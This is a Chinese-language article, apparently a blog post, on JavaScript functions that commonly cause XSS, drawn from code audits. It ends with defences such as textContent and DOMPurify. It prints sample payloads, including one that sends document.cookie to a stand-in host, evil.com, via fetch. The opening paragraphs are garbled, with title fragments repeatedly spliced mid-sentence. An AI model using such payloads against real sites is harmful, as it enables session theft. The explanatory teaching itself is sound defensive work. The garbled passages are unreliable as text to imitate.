xss漏洞常见函数
浏览器把用户输入当成代码执行的洞常那一刻,XSS就发生了。见函问题在于,洞常开发者往往不知道自己调用的见函某个函数正在帮攻击者开门。下面这些函数和属性,洞常是见函我在代码审计里见得最多、也最容易被忽略的洞常“惯犯”。
innerHTML:最顺手的见函那个坑
几乎每个前端开发者都用过 element.innerHTML = userInput。它方便,洞常能直接解析HTML标签,见函但这也意味着 <img src=x onerror=alert(1)> 会被老老实实执行。洞常我见过一个后台管理系统,见函搜索关键词直接回显到结果统计区域,洞常用的见函就是innerHTML。攻击者构造一个带onerror的洞常图片标签,管理员一搜索,cookie就发出去了。
类似的还有 outerHTML、insertAdjacentHTML。这三个兄弟本质上是一回事——把字符串当HTML解析。区别只是插入位置不同,危险程度完全一样。
document.write:老派但没死透
这函数年纪比很多程序员都大。它在页面加载阶段写入内容,如果参数里带了用户可控数据,照样触发XSS。有些老系统用 document.write(location.hash) 做路由,攻击者只要在URL后面加个 #<script>... 就能得手。现代框架基本不用了,但遗留系统里一抓一大把。
eval和它的亲戚们
eval() 直接执行字符串代码,危险等级拉满。但很多人不知道 setTimeout("code", 100) 和 setInterval("code", 100) 传字符串时也会走eval的逻辑。还有 new Function("code"),一样的效果。我审过一个聊天应用,消息渲染用了 setTimeout(msg, 0),攻击者发一条 alert(document.cookie) 就直接弹窗。开发者以为setTimeout只是延迟执行,没意识到字符串参数会被解析成代码。
location和它的属性
location.href = userInput 如果userInput是 javascript:alert(1),在部分浏览器里会执行。更隐蔽的是 location.hash 被直接读取后拼接到DOM里。有个案例是页面根据hash值显示欢迎语,代码写成 document.getElementById('welcome').innerHTML = location.hash.slice(1)。攻击者构造 #<img src=x onerror=alert(1)>,链接一发,点开就中招。
jQuery的html()、append()、before()
用jQuery的人多,但很多人没注意 $(el).html(userInput) 和innerHTML是等价的。append、prepend、before、after、replaceWith这些方法,如果参数是HTML字符串,同样会解析执行。我见过一个用jQuery写的前端,从URL参数取用户名然后 $('#name').append(username),攻击者把username设成 <script>... 就完事了。jQuery不会帮你做转义,它只负责插入。
React的dangerouslySetInnerHTML
名字已经警告你了,但总有人用。这个prop就是React版的innerHTML,专门用来绕过React的自动转义。用之前得确保内容已经过DOMPurify之类的库处理,否则和直接写innerHTML没区别。
一个真实的小案例
去年帮朋友看一个投票页面。投票选项从URL参数读取,然后渲染到页面上。代码大概是这样:
var choice = getParam('choice'); document.getElementById('result').innerHTML = '你投给了:' + choice; 攻击者发一条链接 ?choice=<img src=x onerror=fetch('//evil.com/'+document.cookie)>,任何人点开,cookie就被偷走。修复方案很简单——用 textContent 替代innerHTML。但开发者当时不知道这两个的区别。
怎么防
输出到HTML上下文时,用 textContent 而不是innerHTML。必须渲染HTML时,上DOMPurify做白名单过滤。URL参数里的 javascript: 协议要拦掉。eval、setTimeout字符串参数、new Function这些,能不用就不用。框架自带的转义机制别绕过,React的JSX默认转义,Vue的插值也是,但v-html和dangerouslySetInnerHTML是例外。
说到底,XSS不是某个函数的错,是开发者把“数据”当成了“代码”。上面这些函数只是帮凶,真正的问题在于信任了不该信任的输入。